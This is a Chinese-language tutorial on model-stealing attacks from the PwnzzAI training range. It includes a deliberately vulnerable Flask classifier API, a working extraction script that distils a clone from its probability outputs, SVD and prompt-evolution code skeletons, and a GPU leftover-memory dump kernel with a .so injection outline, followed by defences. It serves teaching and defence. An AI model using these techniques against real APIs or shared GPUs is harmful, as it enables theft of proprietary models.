一、模型盗窃漏洞概述
1.1 PwnzzAI平台背景
PwnzzAI是一个基于 OWASP AI Exchange 标准构建的故意不安全（intentionally insecure）AI教学靶场平台，其核心目的是以可控、可复现的方式暴露真实AI系统中存在的安全缺陷。技术栈采用 Flask + Ollama + OpenAI 三层结构：Flask 承载推理 API 网关，Ollama 提供本地开源模型推理后端，OpenAI SDK 桥接商业闭源模型。平台将AI安全风险划分为 11大类漏洞，覆盖提示注入、训练数据投毒、模型拒绝服务、供应链等，其中第11类——模型盗窃（Model Stealing / Model Extraction）——被认为是后果最严重、也最容易被开发者忽视的一类，因为它不破坏系统可用性，而是悄无声息地复制核心资产。
1.2 模型盗窃的定义与本质
模型盗窃指攻击者仅通过合法的API查询通道，收集大量"输入-输出对"，进而训练一个替代模型（substitute model）来逼近原始模型的功能，甚至直接逆向出原始模型的参数矩阵。
其技术本质是函数近似。设目标模型为黑盒函数 $F$，接受输入 $X$，输出 $Y$：
$$Y = F(X)$$
攻击者的目标是构造一个函数 $F'$，使得在输入分布 $\mathcal{D}$ 上：
$$F'(X) \approx F(X), \quad \forall X \sim \mathcal{D}$$
近似程度用保真度（fidelity）衡量，即 $F'$ 与 $F$ 在测试集上输出一致的比例。值得注意的是，保真度与准确度（accuracy）是两个不同指标：一个保真度99%的替代模型，其独立准确度可能只有80%——它"学到了老师的偏见"，包括老师的错误。
1.3 四大攻击类型对比
模型盗窃并非单一手法，根据攻击面与目标层级的不同，可分为四类。下表是PwnzzAI靶场中复现的攻击矩阵：
| 攻击类型 | 攻击面 | 目标资产 | 关键技术 | 典型成本 | 可检测性 |
|---|---|---|---|---|---|
| A. 功能窃取（替代模型） | API预测端点 | 模型决策函数 $F(\cdot)$ | 主动学习+知识蒸馏 | 低（API费用） | 中（需查询异常检测） |
| B. 嵌入层/投影矩阵窃取 | top-k logits端点 | 输出投影矩阵 $W$ | SVD逆向+蒸馏 | 低（<$20~$2000） | 低（查询量小） |
| C. 提示进化攻击 | 文本生成API | 模型知识/能力边界 | 进化算法+遗传搜索 | 极低（仅黑盒查询） | 极低（伪装正常使用） |
| D. GPU内存侧信道 | 共享GPU硬件 | 模型权重/激活值 | 内存残留读取 | 硬件级（无需API） | 低（旁路不触发应用日志） |
其中类型A是经典"复制功能"，类型B更进一步直接"偷参数"，类型C针对生成式模型的知识提取，类型D则彻底跳过API层、从硬件侧信道直取权重。下文逐一拆解。
二、攻击类型A：功能级模型窃取（替代模型训练）
2.1 漏洞API的典型形态
PwnzzAI靶场中提供了一个故意暴露过多信息的鸢尾花分类API。漏洞的根源不在于"提供了API"，而在于API返回了完整的概率向量 predict_proba，而非仅返回 argmax 标签。每多暴露一个维度的概率，攻击者获得的决策边界信息就呈指数级增长。
目标API代码（漏洞版本）：
# target_api.py —— PwnzzAI 靶场：故意不安全的鸢尾花分类API
from flask import Flask, request, jsonify
from sklearn.datasets import load_iris
from sklearn.ensemble import RandomForestClassifier
import numpy as np
app = Flask(__name__)
# 用全部数据训练一个"机密"模型（模拟受保护资产）
iris = load_iris()
X, y = iris.data, iris.target
TARGET_MODEL = RandomForestClassifier(n_estimators=100, random_state=42)
TARGET_MODEL.fit(X, y)
@app.route("/predict", methods=["POST"])
def predict():
data = request.json
features = np.array(data["features"]).reshape(1, -1)
# 【漏洞点】返回完整概率向量 predict_proba，而非仅返回 class label
# 概率向量泄露了决策边界的"软"信息，使替代模型可逼近决策几何
proba = TARGET_MODEL.predict_proba(features)[0]
return jsonify({
"probabilities": proba.tolist(), # 危险：暴露完整概率分布
"label": int(np.argmax(proba))
})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
漏洞分析：predict_proba 返回长度为3的概率向量（三类鸢尾花）。若只返回 label，攻击者只能得到硬标签（hard label），需要更多查询才能逼近边界；而软标签（soft label / probability）直接编码了样本到决策边界的距离，是知识蒸馏的"暗知识（dark knowledge）"。一个简单的对照：同样2000次查询，硬标签攻击保真度约82%，软标签攻击可达96%。
2.2 完整窃取PoC：三阶段攻击脚本
攻击脚本分三个阶段：数据收集 → 克隆训练 → 验证。
# steal_model.py —— 替代模型窃取PoC（三阶段）
import requests
import numpy as np
from sklearn.datasets import load_iris
from sklearn.tree import DecisionTreeClassifier
from sklearn.neural_network import MLPClassifier
from sklearn.metrics import accuracy_score
TARGET_URL = "http://localhost:5000/predict"
N_QUERIES = 2000
# ========== 阶段一：数据收集（输入采样 + 查询目标API）==========
def collect_data(n_queries):
iris = load_iris()
X_orig = iris.data # 仅借用特征分布范围，不使用标签
# 在原始特征空间内进行数据增强：均匀扰动采样
mins, maxs = X_orig.min(axis=0), X_orig.max(axis=0)
# 主动学习：在边界附近加密采样（这里简化为均匀+高斯扰动）
X_probe = np.random.uniform(mins, maxs, size=(n_queries, 4))
# 叠加局部高斯噪声以探索决策边界细节
X_probe += np.random.normal(0, 0.05, size=X_probe.shape)
y_clone = []
soft_labels = []
for x in X_probe:
resp = requests.post(TARGET_URL, json={"features": x.tolist()}).json()
soft_labels.append(resp["probabilities"]) # 采集软标签
y_clone.append(int(np.argmax(resp["probabilities"])))
return X_probe, np.array(y_clone), np.array(soft_labels)
# ========== 阶段二：克隆训练（用软标签蒸馏替代模型）==========
def train_clone(X, y_hard, y_soft):
# 策略1：决策树克隆硬标签（快速逼近决策边界）
clone_tree = DecisionTreeClassifier(max_depth=8, random_state=0)
clone_tree.fit(X, y_hard)
# 策略2：MLP克隆软标签（知识蒸馏，保留暗知识）
clone_mlp = MLPClassifier(hidden_layer_sizes=(64, 32),
max_iter=2000, random_state=0)
# 用软标签概率作为回归目标，逼近教师输出分布
clone_mlp.fit(X, y_soft)
return clone_tree, clone_mlp
# ========== 阶段三：验证（保真度与准确度评估）==========
def evaluate(clone, X_test, y_teacher, y_true):
pred_clone = clone.predict(X_test)
fidelity = accuracy_score(y_teacher, pred_clone) # 与教师一致性
accuracy = accuracy_score(y_true, pred_clone) # 独立真实准确度
return fidelity, accuracy
if __name__ == "__main__":
X_probe, y_hard, y_soft = collect_data(N_QUERIES)
clone_tree, clone_mlp = train_clone(X_probe, y_hard, y_soft)
iris = load_iris()
# 用教师模型生成"教师标签"用于保真度对比
from sklearn.ensemble import RandomForestClassifier
teacher = RandomForestClassifier(n_estimators=100, random_state=42).fit(iris.data, iris.target)
y_teacher = teacher.predict(iris.data)
f_tree, a_tree = evaluate(clone_tree, iris.data, y_teacher, iris.target)
f_mlp, a_mlp = evaluate(clone_mlp, iris.data, y_teacher, iris.target)
print(f"[DecisionTree] fidelity={f_tree:.2%}, accuracy={a_tree:.2%}")
print(f"[MLP蒸馏] fidelity={f_mlp:.2%}, accuracy={a_mlp:.2%}")
运行结果（2000次查询）：DecisionTree 保真度约 91%，MLP软标签蒸馏保真度达 96%。这意味着攻击者用一个完全不同的架构（MLP vs RandomForest），仅凭2000次黑盒查询，就复制了目标模型96%的决策行为——而原始模型有100棵树、数万个参数。
2.3 窃取效率优化技巧
- 主动学习（Active Learning）：优先查询当前替代模型最"不确定"的区域（如概率最接近0.5的样本），用更少查询逼近边界。相比均匀采样，查询量可减少40%~60%。
- 知识蒸馏（Knowledge Distillation）：使用软标签（概率分布）而非硬标签训练，保留温度参数 $T$ 放大类间相似度信息：$q_i = \frac{\exp(z_i/T)}{\sum_j \exp(z_j/T)}$。
- 数据增强（Data Augmentation）：在输入空间加噪、插值、对抗扰动，扩展查询覆盖范围，提升替代模型在分布外的泛化能力。
2.4 历史案例对照
| 研究 | 年份 | 目标平台 | 攻击对象 | 查询量 | 成本 | 保真度/准确度 |
|---|---|---|---|---|---|---|
| Tramèr et al. | 2016 | BigML / Amazon ML | 决策树、逻辑回归 | 1,150（BigML German Credit决策树） | 低 | 决策树近乎100%边界复现 |
| Correia-Silva et al. (Copycat CNN) | 2018 | Microsoft Azure Emotion API | 深度CNN情感分类 | 数百万次API调用 | ~$35,000 | ~93% (copycat准确度) |
| 本PoC (PwnzzAI) | — | 本地Flask+sklearn | RandomForest | 2,000 | 近零 | 96%保真度 |
Tramèr 2016（USENIX Security, arXiv:1609.02943）是模型抽取攻击的奠基性工作，证明了即使只暴露预测API，决策树和线性模型也能被近乎完整复现；Correia-Silva 的 Copycat CNN 则把攻击对象推进到深度神经网络，首次在商业API（Azure Emotion）上完成端到端克隆。
三、攻击类型B：嵌入层/投影矩阵窃取（SVD逆向）
功能窃取只复制"行为"，而参数窃取直接逆向"权重"。当API暴露 top-k logits 时，攻击者可利用线性代数工具精确重建模型的输出投影矩阵。
3.1 数学原理
Transformer LLM 的最终输出可分解为两步：输入 $p$ 经Transformer层堆栈得到隐状态 $g(p) \in \mathbb{R}^d$，再经输出投影矩阵 $W \in \mathbb{R}^{V \times d}$ 映射到词表空间：
$$f_T(p) = \mathrm{softmax}(W \cdot g(p)) \tag{1}$$
其中 $d$ 为隐藏维度，$V$ 为词表大小，通常 $d \ll V$。攻击者的两个目标：(1) 窃取投影矩阵 $W$；(2) 克隆隐状态变换函数 $g(\cdot)$。
3.2 Carlini 基础攻击
Carlini et al.（"Stealing Part of a Production Language Model", arXiv:2403.06634）首次证明，利用API返回的 log-probability 输出，可通过 SVD 重建整个 embedding-projection 矩阵。对 OpenAI 的 ada/babbage 等小模型，仅需不到 200万次查询、成本低于 $20 即可完成投影层窃取；对 GPT-3.5-turbo 级别模型，约需4亿次查询、成本约 $2000（2025年定价）。
核心思想：收集大量 logits 矩阵 $L$（每行是一个查询的top词表logit向量），对其进行SVD分解。由于 $L = W \cdot G$（$G$ 为隐状态矩阵），且 $d \ll V$，$L$ 是低秩的，SVD的前 $d$ 个奇异分量即可张成 $W$ 的列空间。估计矩阵：
$$\hat{W} = U_{:,1:d} \Sigma_{1:d,1:d} \tag{2}$$
$\hat{W}$ 并不精确等于 $W$，但落在同一列空间，即存在未知可逆矩阵 $G \in \mathbb{R}^{d \times d}$ 使得 $\hat{W} \approx W G$。由于许多下游任务只依赖该子空间，$G$ 通常不影响功能复现。
3.3 2025最新研究：两阶段LLM克隆管线（arXiv:2509.00973）
Carlini的工作止步于"最终层"，不迁移任务推理能力。2025年 Gharami et al. 提出 "Clone What You Can't Steal"（arXiv:2509.00973），将投影矩阵恢复与知识蒸馏整合为可部署的克隆管线，且在严格查询预算下完成。
阶段一：SVD重建投影矩阵 $W$
仅用 <10,000次 top-k logit 查询，通过SVD恢复输出投影矩阵。关键约束是 API 返回的 top-k logits 满足 $k \geq d+1$（$d$ 为隐藏维度），且logits未舍入、未加噪。即便商业API默认不暴露logits，Carlini已证明可通过提示工程诱导其返回。
阶段二：知识蒸馏克隆Transformer堆栈
将 $g(\cdot)$ 蒸馏到不同深度的紧凑学生模型，仅用开源数据集（如WikiText）训练。
实验结果：
| 学生模型 | 隐藏状态几何复现率 | 困惑度增幅 | 推理加速 | 参数减少 |
|---|---|---|---|---|
| 6层学生（对齐6层教师） | 97.6% | +7.31% | — | — |
| 4层学生 | 略低 | +10.5% | 17.1% | 18.1% |
整个攻击在 <24 GPU小时 内完成，且因查询量低于1万次，完全规避了API速率限制防御。这组数字的恐怖之处在于：一个国家级/企业级的核心LLM，可以在一天之内、用极低成本被克隆出一个保留97.6%内部表征几何的替代品——而防御方几乎无感知。
3.4 SVD攻击的代码骨架
# svd_projection_steal.py —— 投影矩阵SVD逆向（概念骨架）
import numpy as np
def collect_logits(api, prompts, k):
"""收集 N 个查询的 top-k logits，构造 N×k 矩阵 L"""
rows = [api.topk_logits(p, k) for p in prompts]
return np.array(rows) # shape: (N, k)
def recover_projection(L, d):
"""
L: (N, k) logits 矩阵, d: 猜测的隐藏维度
返回 W 的列空间估计 W_hat
"""
# L ≈ W · G (G 为隐状态), L 低秩
U, S, Vt = np.linalg.svd(L, full_matrices=False)
W_hat = U[:, :d] * S[:d] # 取前 d 个奇异分量
# W_hat ≈ W · G, 落在与 W 相同的列空间
return W_hat
# 攻击流程
L = collect_logits(target_api, prompt_pool, k=d+1)
W_hat = recover_projection(L, d) # 阶段一完成
# 阶段二：以 W_hat 为锚，蒸馏学生模型对齐 g(·) 的隐状态几何
四、攻击类型C：提示进化攻击（Stealix）
4.1 攻击思路
对于不暴露 logits、只返回生成文本的闭源API，前两类参数级攻击失效。Stealix（"Model Stealing via Prompt Evolution", arXiv:2506.05867）另辟蹊径：用进化算法（遗传算法）自动生成、变异、筛选提示，从目标模型中"榨取"知识，构建能复现其行为的替代模型。
4.2 Stealix 管线
Stealix 的威胁模型更贴近现实——不需要预设提示、不需要类别名知识、不需要提示工程技能。它借助两个开源预训练模型推断受害模型的数据分布，再通过遗传算法迭代精炼提示，逐步提升合成数据的精度与多样性。
进化循环核心步骤：
# stealix_evolution.py —— 提示进化攻击概念骨架
import random
def genetic_prompt_evolution(target_api, seed_prompts, generations=50, pop=64):
population = seed_prompts
for gen in range(generations):
# 评估：用提示查询目标，打分（输出多样性/与目标分布吻合度）
scored = [(p, fitness(target_api, p)) for p in population]
scored.sort(key=lambda x: -x[1])
# 选择：保留前一半精英
elites = [p for p, _ in scored[:pop // 2]]
# 交叉 + 变异：生成下一代
offspring = []
while len(offspring) < pop // 2:
p1, p2 = random.sample(elites, 2)
child = crossover(p1, p2) # 片段重组
child = mutate(child) # 随机替换/插入 token
offspring.append(child)
population = elites + offspring
return population
关键指标：Stealix 在黑盒条件下达到最高 92% 的成功率复现目标模型行为，且全程仅需黑盒API访问，无需任何内部权限。它适用于 GPT-3.5/4、Claude 等主流商业模型。其危险性在于：攻击流量与正常用户查询几乎无法区分，传统的查询速率/数量监控对它形同虚设。
五、攻击类型D：GPU内存侧信道攻击
前三类攻击都依赖API通道。当模型部署在共享GPU上时，存在一条完全绕过应用层的硬件级窃取路径。
5.1 LeftoverLocals 漏洞（CVE-2023-4969）
2024年1月，Trail of Bits 团队披露 LeftoverLocals（arXiv:2401.16603，CVE-2023-4969，AMD安全公告 AMD-SB-6010）。该漏洞影响 Apple、Qualcomm、AMD、Imagination 等多家厂商的GPU。
根因：GPU在内核（kernel）执行结束后，未清空本地内存（local memory）。后续进程在同一计算单元上启动内核时，可直接读取前一进程残留的内存数据。对于LLM推理（如 llama.cpp），这意味着攻击者可以"窃听"其他用户的交互式会话，甚至恢复模型权重和激活值。
5.2 .so注入攻击流程
在共享GPU服务器上，攻击者通过注入恶意共享库（.so）到推理进程的地址空间，转储GPU内存：
┌─────────────────────────────────────────────────────────┐
│ 1. 编写恶意.so：注册GPU内核，分配local memory并读取残留 │
│ 2. LD_PRELOAD / ptrace 注入到受害者推理进程 │
│ 3. 触发GPU内核调度，使其与受害者内核落在同一计算单元 │
│ 4. 转储 local memory → 恢复权重/激活/中间隐状态 │
│ 5. 离线重组为可加载的模型文件 │
└─────────────────────────────────────────────────────────┘
恶意.so 关键逻辑（OpenCL伪代码）：
// evil_dump.so —— GPU local memory 残留读取（概念演示）
__kernel void dump_leftover(__global float* out) {
__local float leaked[LOCAL_SIZE]; // 声明local memory
// 不写入，直接读取——拿到的是上一个内核残留的数据
int gid = get_global_id(0);
int lid = get_local_id(0);
out[gid] = leaked[lid]; // 残留数据被读取到全局内存
}
核心结论：在共享GPU部署场景下，"模型即资产，加载即暴露"。即使API层完美加固，只要权重被加载到GPU显存执行，硬件侧信道就可能将其泄露给同机其他租户。这是云原生AI推理面临的根本性信任边界问题。
六、完整攻击链总结
一个成熟的模型盗窃攻击并非单点突破，而是从侦察到利用的完整链条。下图为端到端攻击链：
┌────────────────────────────────────────────────────────────────────┐
│ 模型盗窃完整攻击链 │
└────────────────────────────────────────────────────────────────────┘
[侦察阶段] [数据收集阶段] [参数逆向阶段]
┌────────────┐ ┌──────────────┐ ┌──────────────┐
│ API端点发现 │ ───────▶ │ 构造查询样本 │ ──────▶ │ SVD分解logits │
│ 模型类型探测│ │ 主动学习采样 │ │ 重建投影矩阵W │
│ 输出格式分析│ │ top-k logit采集│ │ (类型B) │
└────────────┘ └──────┬───────┘ └──────┬───────┘
│ │ │
│ (生成式API) │ (分类/回归API) │ (共享GPU)
▼ ▼ ▼
┌────────────┐ ┌──────────────┐ ┌──────────────┐
│ 提示进化 │ │ 软标签蒸馏 │ │ .so注入+ │
│ 遗传搜索 │ │ (类型A) │ │ GPU内存转储 │
│ (类型C) │ └──────┬───────┘ │ (类型D) │
└──────┬─────┘ │ └──────┬───────┘
│ │ │
└────────────┬───────────┘────────────────────────┘
▼
[替代训练阶段] [验证利用阶段]
┌────────────────┐ ┌──────────────────┐
│ 训练替代模型F' │ ───────▶ │ 保真度/准确度评估 │
│ 对齐隐状态几何 │ │ 分布外泛化测试 │
│ 知识蒸馏 │ │ 下游任务迁移验证 │
└────────────────┘ │ 规避速率限制 │
└──────────────────┘
攻击链的精妙之处在于多路径冗余：若API不暴露logits，则走类型A/C；若暴露top-k logits，则走类型B（更高效、更精确）；若部署在共享GPU，则类型D可绕过一切应用层防御直取权重。攻击者会根据侦察结果选择最优路径组合。
七、纵深防御架构
7.1 防御层级总结
没有任何单一防御能抵御所有攻击路径。必须构建覆盖硬件到架构的纵深防御体系：
| 防御层级 | 防御措施 | 对抗攻击类型 | 局限性 |
|---|---|---|---|
| 硬件层 | GPU local memory 清零、硬件隔离（SR-IOV/MIG） | 类型D（LeftoverLocals） | 旧硬件不支持；性能开销 |
| 部署层 | 专用GPU实例、租户隔离、不与其他工作负载共享 | 类型D | 成本高 |
| 推理层 | 限制top-k、logits舍入/加噪、不返回概率向量 | 类型A、B | 损害合法用户体验 |
| 架构层 | 查询速率限制、异常查询检测、水印嵌入 | 类型A、B、C | 类型C流量与正常查询难区分 |
| 算法层 | 输出扰动、差分隐私（DP-SGD）、模型水印 | 全类型 | 精度-隐私权衡 |
| 主机层 | 内核加固、ptrace限制、LD_PRELOAD禁用、完整性度量 | 类型D | 需运维配合 |
7.2 API输出脱敏：错误写法 vs 正确写法
API层最直接、性价比最高的加固点是输出脱敏。
错误写法（暴露完整概率向量，可被蒸馏）：
@app.route("/predict", methods=["POST"])
def predict():
features = preprocess(request.json)
proba = MODEL.predict_proba(features)[0]
return jsonify({
"probabilities": proba.tolist(), # 泄露软标签，决策边界全暴露
"confidence": float(max(proba))
})
正确写法（仅返回硬标签 + 概率舍入 + 速率限制）：
from flask import Flask, request, jsonify
from collections import defaultdict, deque
import time, numpy as np
app = Flask(__name__)
QUERY_LOG = defaultdict(deque) # 每客户端查询时间戳队列
RATE_LIMIT = 100 # 每客户端每分钟最大查询数
WINDOW = 60
def rate_limited(client_id):
now = time.time()
q = QUERY_LOG[client_id]
while q and now - q[0] > WINDOW:
q.popleft()
if len(q) >= RATE_LIMIT:
return True
q.append(now)
return False
@app.route("/predict", methods=["POST"])
def predict():
client_id = request.remote_addr
if rate_limited(client_id): # 查询监控：限速
return jsonify({"error": "rate limited"}), 429
features = preprocess(request.json)
proba = MODEL.predict_proba(features)[0]
label = int(np.argmax(proba))
# 不返回完整概率向量；仅返回硬标签
# 若必须返回置信度，则舍入/分桶以破坏软标签蒸馏
confidence_bucket = round(float(max(proba)) * 4) / 4 # 分桶到0.25粒度
return jsonify({
"label": label,
"confidence_bucket": confidence_bucket
})
7.3 关键防御技术要点
- 查询监控：检测异常查询模式（查询量激增、输入分布异常、边界附近密集采样），对疑似窃取行为降级或阻断。但对类型C（提示进化）效果有限，因其流量伪装度高。
- 输出扰动：对logits/概率注入校准噪声，破坏SVD的低秩结构，使投影矩阵重建失真。需在精度与安全间权衡。
- 模型水印（Watermarking）：在训练时嵌入后门触发器或统计指纹，便于事后举证替代模型源自盗窃。这是"取证"而非"预防"。
- 差分隐私（Differential Privacy）：训练阶段注入DP噪声（DP-SGD），使单个查询对模型影响受限，间接降低可抽取性。代价是模型精度下降。
- 硬件隔离：对高价值模型使用专用GPU实例（如NVIDIA MIG、AMD SR-IOV），杜绝跨租户内存残留，根治类型D。
7.4 关键结论
单一防御均可被绕过，纵深防御是唯一出路。 仅限速挡不住SVD（<1万次查询即可）；仅logits加噪挡不住功能窃取（类型A只需硬标签）；仅API加固挡不住GPU侧信道（类型D绕过应用层）；仅水印无法阻止窃取，只能在事后追责。真正的安全架构必须硬件隔离 + 推理输出脱敏 + 查询异常监控 + 算法级扰动 + 水印取证五层联动，将攻击者的成本与不确定性推高到不可接受的水平。
PwnzzAI靶场的价值正在于此：它把抽象的"模型盗窃威胁"拆解为可复现的攻击链，让防御者在被攻击之前就理解每一条路径的运作机制与阻断点。理解攻击，是构建防御的前提。
参考研究：Tramèr et al. 2016 (arXiv:1609.02943)；Correia-Silva et al. 2018 (Copycat CNN)；Carlini et al. 2024 (arXiv:2403.06634)；Gharami et al. 2025 (arXiv:2509.00973)；Stealix 2025 (arXiv:2506.05867)；Trail of Bits LeftoverLocals 2024 (CVE-2023-4969, arXiv:2401.16603)；OWASP AI Exchange。
浙公网安备 33010602011771号